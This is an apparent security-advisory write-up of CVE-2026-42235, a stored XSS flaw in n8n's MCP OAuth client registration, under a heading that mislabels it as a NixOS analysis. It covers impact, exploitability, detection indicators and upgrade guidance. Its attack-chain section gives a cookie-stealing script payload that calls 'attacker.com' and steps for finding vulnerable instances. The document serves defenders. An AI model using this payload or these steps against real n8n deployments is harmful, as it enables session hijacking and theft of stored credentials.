CVE-2026-42235: 
NixOS vulnerability analysis and mitigation

CVE-2026-42235 is a stored Cross-Site Scripting (XSS) vulnerability in n8n, an open-source workflow automation platform, affecting its MCP OAuth client registration functionality. An unauthenticated attacker can register a malicious MCP OAuth client with a crafted client_name parameter; when a victim user authorizes the OAuth consent dialog and a second user subsequently revokes that access, a toast notification renders the injected script, executing arbitrary JavaScript in the victim's authenticated session. Affected versions include all releases prior to 1.123.32, 2.17.0–2.17.3 (fixed in 2.17.4), and 2.18.0 (fixed in 2.18.1). The vulnerability was published on April 22, 2026, and carries a CVSS v4.0 base score of 8.8 (High) and a CVSS v3.1 score of 9.6 (Critical) (GitHub Advisory, n8n Security Advisory).

The root cause is improper neutralization of user-controlled input in the MCP OAuth client registration endpoint, classified as CWE-79 (Cross-site Scripting) and CWE-87 (Improper Neutralization of Alternate XSS Syntax). An unauthenticated attacker submits a crafted client_name value containing a malicious script payload during OAuth client registration; n8n fails to sanitize this input before storing it. The payload is later rendered unsanitized in a toast notification displayed to authenticated users when a second user revokes OAuth access, triggering script execution in the victim's browser context without requiring the attacker to be authenticated. The attack requires no privileges but does depend on the specific sequence of user interactions (OAuth authorization followed by access revocation) as an attack prerequisite (GitHub Advisory, n8n Security Advisory).

Successful exploitation allows arbitrary JavaScript execution within an authenticated user's n8n browser session, enabling credential and session token theft, unauthorized workflow manipulation, and privilege escalation. Because n8n workflows can integrate with a wide range of external services and APIs, a compromised session could expose sensitive third-party credentials stored within workflows and facilitate lateral movement into connected systems. The scope is changed (CVSS), meaning the impact extends beyond the vulnerable component itself to subsequent systems with high confidentiality and integrity impact (GitHub Advisory, n8n Security Advisory).

No public proof-of-concept exploit code has been observed, and there is no evidence of active in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.091–0.115%, placing it in roughly the 30th percentile for exploitation probability within 30 days. The attack requires no authentication but does depend on a specific multi-user interaction sequence (OAuth authorization by one user, revocation by another), which somewhat limits opportunistic mass exploitation.

1. Reconnaissance: Identify internet-facing n8n instances running vulnerable versions (< 1.123.32, 2.17.0–2.17.3, or 2.18.0) using tools like Shodan or Censys, or by probing the MCP OAuth registration endpoint.
2. Register malicious OAuth client: Without authentication, send a crafted HTTP request to the n8n MCP OAuth client registration endpoint, supplying a client_name parameter containing a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an alternate XSS syntax variant to bypass filters).
3. Wait for victim authorization: The attacker waits for or socially engineers a legitimate n8n user to authorize the OAuth consent dialog for the malicious client, which stores the crafted client_name in the application.
4. Trigger toast notification: A second authenticated user (e.g., an administrator) revokes the OAuth access granted to the malicious client, causing n8n to render a toast notification that unsafely includes the stored client_name payload.
5. Execute payload: The victim clicks the toast notification link (or the script executes on render), running the injected JavaScript in their authenticated n8n browser session, allowing the attacker to steal session tokens, credentials, or manipulate workflows (GitHub Advisory, n8n Security Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to unknown external domains shortly after interacting with n8n OAuth management pages; unusual POST requests to the MCP OAuth client registration endpoint from unauthenticated or unknown sources.
• Logs: n8n application logs showing registration of OAuth clients with anomalous or script-containing client_name values; access log entries for the MCP OAuth registration endpoint from unexpected IP addresses.
• Application: Presence of OAuth clients registered with client_name values containing HTML tags, JavaScript syntax (<script>, javascript:, onerror=, etc.), or encoded variants thereof in the n8n database or admin panel.
• Browser/Session: Unexpected session token usage from unfamiliar IP addresses or user agents following an authenticated user's interaction with OAuth revocation UI; unauthorized workflow modifications or new credentials added to workflows.

n8n has released patches in versions 1.123.32, 2.17.4, and 2.18.1; users should upgrade to one of these versions immediately. For those unable to upgrade right away, administrators should restrict access to the n8n instance and the MCP OAuth registration endpoint to trusted users only, or disable MCP server functionality entirely if it is not actively required. These workarounds do not fully remediate the risk and should only be used as short-term measures pending upgrade (GitHub Advisory, n8n Security Advisory).

The vulnerability was reported by security researcher OscarBataille and published by the n8n maintainer (Jubke) via GitHub Security Advisories on April 22, 2026. Qualys added detection for this CVE in their application security pipeline in May 2026. Coverage has appeared on vulnerability aggregation platforms and security blogs, including a technical write-up on infinitsec.net and mentions in Loginsoft's threat intelligence roundup on Medium (GitHub Advisory).